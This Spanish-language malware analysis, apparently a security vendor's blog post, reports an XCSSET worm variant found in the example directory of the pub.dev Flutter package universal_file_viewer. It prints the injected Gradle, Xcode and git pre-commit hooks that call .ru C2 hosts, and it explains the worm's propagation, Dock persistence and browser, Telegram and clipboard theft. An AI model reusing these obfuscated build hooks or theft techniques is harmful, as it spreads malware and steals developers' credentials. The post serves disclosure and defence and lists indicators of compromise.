Hoy, pub.dev se une a la lista de registros de paquetes en los que hemos encontrado malware. Hemos detectado una variante de XCSSET oculta en universal_file_viewer (versión 0.1.5), un paquete de vista previa de archivos para Flutter en pub.dev con alrededor de 500 descargas. Este es el primer paquete comprometido que detectamos en pub.dev, el repositorio oficial de paquetes para Dart y Flutter. A diferencia de los ataques a la cadena de suministro de npm recientes con los que quizás estés familiarizado, este no fue un caso en el que alguien atacara este paquete deliberadamente.
XCSSET es un gusano de macOS que inserta un script de compilación malicioso (build hook) en cada proyecto de Android Gradle, proyecto de Xcode y repositorio de git que encuentra en una máquina infectada. La máquina del mantenedor estaba infectada y, cuando publicó una nueva versión del paquete desde ese equipo, los archivos infectados se incluyeron en ella. El paquete de pub.dev proviene de un repositorio de GitHub comprometido.
Una búsqueda rápida en GitHub muestra que esto sigue ocurriendo hoy en día, con otros mantenedores enviando activamente proyectos infectados sin saberlo:

Para obtener un contexto más amplio sobre XCSSET, consulta el informe de Unit 42 The Xcode Assassin Returns y las publicaciones de Microsoft de marzo y septiembre de 2025.
Lo que encontramos en el paquete
universal_file_viewer es un paquete de pub.dev que proporciona widgets integrados de vista previa de archivos para aplicaciones de Flutter: PDF, Word, Excel, vídeo, Markdown y texto plano. El código de su biblioteca Dart en lib/ está completamente limpio. Todos los archivos infectados se encuentran dentro de example/ directorio, que se incluye en el archivo tarball de pub.dev pero que nunca se compila cuando el paquete se utiliza como dependencia. Añadir simplemente universal_file_viewer a su pubspec.yaml y compilar su propia aplicación no desencadena nada. El riesgo lo corre quien clona el repositorio y compila explícitamente la aplicación de ejemplo de forma local. No se trata de un ataque dirigido al paquete ni a sus dependencias. El gusano simplemente se adjuntaba a cualquier archivo de compilación que encontraba en la máquina infectada del mantenedor, y la mayoría de los usuarios del paquete nunca se verán afectados.
Se infectaron tres configuraciones de compilación independientes, cada una inyectada de forma autónoma por los módulos de gusano de XCSSET:
example/android/app/build.gradle.kts contiene un preBuild gancho inyectado por el android_finder módulo:
tasks.all {
if (name.contains("preBuild")) {
doLast {
ProcessBuilder("sh", "-c", "((p(){ `printf xAxd | tr -d A` -p -r; };echo 6563686f...0a | p | sh ) >/dev/null 2>&1 &)").start()
}
}
}printf xAxd | tr -d A reconstruye xxd en tiempo de ejecución para burlar los escáneres basados en cadenas. El blob hexadecimal se descodifica en una petición curl a 5yotmxcc54l9xda[.]ru/a con la etiqueta de campaña p=android_kotlin. Esto se ejecuta de forma silenciosa en cada compilación de Gradle, descartando la salida.
example/ios/Runner.xcodeproj/project.pbxproj y example/macos/Runner.xcodeproj/project.pbxproj ambos contienen una PBXBuildRule entrada que se activa cuando cualquier .md archivo es procesado durante una compilación:
script = "cp \"${INPUT_FILE_PATH}\" \"/tmp/${INPUT_FILE_BASE}\"\nsh -c \"${A3EA261}\"";A3EA261 es una configuración de compilación definida en el mismo archivo. Para iOS está ofuscada en base64 (printf bdase64 | tr -d d), apuntando a qdgs232i-q[.]ru con la etiqueta p=xcode_rule. Para macOS está ofuscada en hexadecimal (printf xxVd | tr -d V), apuntando a ejntin6hkjt7gj2[.]ru con la misma etiqueta. Ambas se ejecutan al compilar el proyecto.
La cadena de infección
XCSSET se compone de varias fases y módulos, cada uno de los cuales realiza una tarea específica.
Fases
- Fase 1: el gancho de compilación (build hook) se comunica con el C2 y recibe un script que vuelve a realizar la solicitud con el sistema operativo y el nombre de usuario
- Fase 2: el servidor devuelve un script de shell cifrado que recopila el número de serie del hardware y la configuración regional, descarga el cargador principal en
/tmp/h, compila un paquete de aplicación invisible a su alrededor, lo inicia y luego borra ambos en un plazo de diez segundos - Fase 3: el cargador es un AppleScript compilado de solo ejecución que se descifra a sí mismo mediante AES-256-CBC con una clave basada en la fecha, y luego ejecuta la carga útil (payload) descifrada en la memoria
- Fase 4: la carga útil descifrada es el orquestador principal que distribuye todos los módulos
Módulos de propagación
android_finder: inyecta unpreBuildmalicioso en cada proyecto Android Gradle de la máquina. Cualquier desarrollador que compile uno de esos proyectos también se infectagit_finder: escribe un hook maliciosopre-commiten todos los repositorios git de la máquina. Se activa en cada commitreplicator_finder: inyecta una fase de compilación maliciosa en cada proyecto de Xcode de la máquina. Cualquier desarrollador que compile uno resulta infectado
Persistencia
persist: reemplaza el icono de Launchpad en el Dock por un paquete falso que vuelve a activar la cadena cada vez que el usuario hace clic en él. Sobrevive a los reinicios y no deja rastro en las ubicaciones de persistencia estándar
Módulos de robo
browser_remote: elimina la entrada del llavero de Safe Storage de Chrome para interceptar su clave de cifrado regenerada, y luego exfiltra contraseñas guardadas, cookies y tokens de sesiónsafari_remote: instala un paquete falso de Safari y exfiltra los datos locales de Safarifirefox_data: instala un binario nativo y exfiltra las credenciales de Firefoxtdesktop: cierra Telegram, lo reemplaza por una copia troyanizada y apunta a los datos de sesiónnotes_app: espera a que Notes, Reminders o Calendar se abran y luego exfiltra sus datosclipboard: lee y exfiltra el contenido del portapapelessettings_app: suplanta a System Settings y utilizasudopara la escalada de privilegiosdata_folders_finder: recorre el directorio de inicio y exfiltra archivos de las carpetas seleccionadas
Todos los módulos de robo se descargan del C2 y se ejecutan en la memoria a través de osascript. No se escribe nada en el disco. Los datos robados se cifran con AES-256-CBC antes de enviarse a /u.
Cómo se propaga
Antes de ejecutar cualquier módulo de robo, el cargador despliega tres módulos de tipo gusano.
android_finder
android_finder busca en el directorio de usuario archivos de compilación de Android:
nice -n 15 find ~ -maxdepth 6 \
\( -type d \( -name Movies -o -name Library ... \) -prune \) \
-o -type f \( -iname 'build.gradle' -o -iname 'build.gradle.kts' \) -printPara cada coincidencia, confirma que se trata de un módulo de Android real antes de inyectar el código y, primero, limpia cualquier infección anterior. Es compatible tanto con Kotlin DSL como con archivos de compilación de Groovy. Cualquier desarrollador que compile uno de esos proyectos se infecta, al igual que cualquier persona que clone el repositorio y lo compile después.
git_finder
git_finder encuentra cada .git directorio en la máquina y escribe un pre-commit malicioso en cada uno. La carga útil del gancho es polimórfica: el dominio C2, el esquema de codificación y la profundidad de anidamiento se aleatorizan en cada infección. El resultado tiene este aspecto:
#!/usr/bin/env bash ((n(){ base64 --decode | base64 --decode; };echo <blob> | n | sh ) >/dev/null 2>&1 &)Cada commit realizado por el desarrollador, en cualquiera de sus repositorios, vuelve a activar de forma silenciosa toda la cadena. Si ya existe un gancho, el módulo elimina las líneas inyectadas anteriores mediante sed antes de adjuntar el contenido nuevo.
replicator_finder
replicator_finder es el vector clásico de XCSSET. Analiza project.pbxproj archivos, comprueba si existe archiveVersion = y sección PBXShellScriptBuildPhasee inyecta una fase de compilación Run Script. Cualquier desarrollador que abra y compile un proyecto de Xcode infectado resulta afectado. Esto se documenta desde 2020 y sigue formando parte del conjunto de herramientas junto con los otros dos vectores.
Persistencia oculta en el Dock
El persist el módulo responde a si esto sobrevive a un reinicio. Lo hace, y de un modo que evade las comprobaciones de persistencia estándar.
Descarga dockutil desde el C2 (/d/dockutil_arm64 o /d/dockutil_amd64), lo firma ad-hoc y genera un paquete de aplicación falso en ~/Library/Caches/vyf[.]lttzw[.]snjgwq/. El Info.plist del paquete se parchea para suplantar a Launchpad:
plutil -replace CFBundleDisplayName -string 'Launchpad' <path>/Info.plist
plutil -replace CFBundleIdentifier -string 'com.apple.launchpad.launcher' <path>/Info.plist
plutil -replace LSUIElement -bool YES <path>/Info.plistA continuación, utiliza dockutil para reemplazar el icono del Launchpad real en el Dock por el paquete falso. Al hacer clic en Launchpad, se abre el Launchpad real (open -b com.apple.launchpad.launcher) y se ejecuta el script malicioso en paralelo. En cada reinicio, se ejecuta la primera vez que el usuario hace clic en Launchpad.
Módulos de robo
Una vez establecidas la propagación y la persistencia, el cargador despliega los módulos de robo. Cada uno se recupera de /s/<module> y se ejecuta mediante osascript -e "$(curl ...)". No se escribe nada en el disco.
browser_remote descarga un binario nativo (cd_arm64 o cd_amd64) del C2, elimina las entradas de GoogleUpdater y SoftwareUpdate en Chrome y ejecuta security delete-generic-password para extraer la entrada del llavero de almacenamiento seguro de Chrome. Al eliminar esta entrada, se fuerza a Chrome a regenerar su clave de cifrado, que el binario intercepta para descifrar contraseñas, cookies y tokens de sesión guardados.
safari_remote descarta un paquete de Safari falso en ~/Library/ASafari/ y ~/Library/Caches/com[.]beta[.]Safari y exfiltra los datos locales de Safari.
firefox_data descargas hbdm_arm64 o hbdm_amd64 y lo ejecuta con -c password --zip, lo que genera un firefox_browser_data.zip subido a /u.
tdesktop ejecuta killall -9 Telegram, descarga un paquete modificado Telegram.app desde el C2 y coloca el reemplazo en su sitio con firma ad-hoc. Ataca los datos de sesión de Telegram tanto desde la ruta clásica (~/Library/Application Support/Telegram Desktop/tdata) como desde la ruta del contenedor aislado (sandboxed).
notes_app espera a que Notes, Reminders o Calendar se estén ejecutando, se instala dentro del paquete de la aplicación correspondiente y exfiltra notes_app_data.zip.
clipboard ejecuta un bucle pbpaste y exfiltra el contenido del portapapeles.
settings_app crea un paquete de Ajustes del Sistema falso que aparece listado bajo "Preferencias del Sistema" y "Preferencias" en Spotlight, descarga un binario independiente mac_bin_daemon_app desde el C2 y ejecuta comandos mediante sudo -u para la escalada de privilegios.
data_folders_finder recorre el directorio de inicio y exfiltra archivos de las carpetas objetivo hacia /u.
Todos los datos robados se envían a /u a través de POST multiparte, cifrados con una clave AES-256-CBC.
Cómo Aikido detecta esto
Si es usuario de Aikido, revise su feed central y filtre por problemas de malware. Esto aparecerá como un problema crítico de 100/100. Aikido realiza reescaneos cada noche, pero recomendamos activar un reescaneo manual ahora.
Si aún no es usuario de Aikido, puede crear una cuenta y conectar sus repositorios. Nuestra cobertura de malware está incluida en el plan gratuito, sin necesidad de tarjeta de crédito.
Para una protección futura, considere Aikido Safe Chain (código abierto). Safe Chain se integra en su flujo de trabajo existente, interceptando comandos npm, npx, yarn, pnpm y pnpx y verificando los paquetes con Aikido Intel antes de la instalación.
Para una cobertura más amplia en todo su equipo, Device Protection de Aikido le proporciona visibilidad y control sobre los paquetes de software instalados en los dispositivos de su equipo. Cubre extensiones de navegador, bibliotecas de código, plugins IDE y dependencias de compilación, todo en un solo lugar. Detenga el malware antes de que se instale.
Indicadores de compromiso
Dominios C2
5yotmxcc54l9xda[.]ruqdgs232i-q[.]ruejntin6hkjt7gj2[.]ru
Artefactos de archivos
project.pbxprojque contiene unPBXBuildRuleconsh -c "${A3EA261}"build.gradleobuild.gradle.ktsque contiene una invocación de shell ofuscada usandoprintf xAxd | tr -d Apara reconstruirxxd.git/hooks/pre-commitque contienebase64 --decode | base64 --decodeoxxd -p -r | xxd -p -r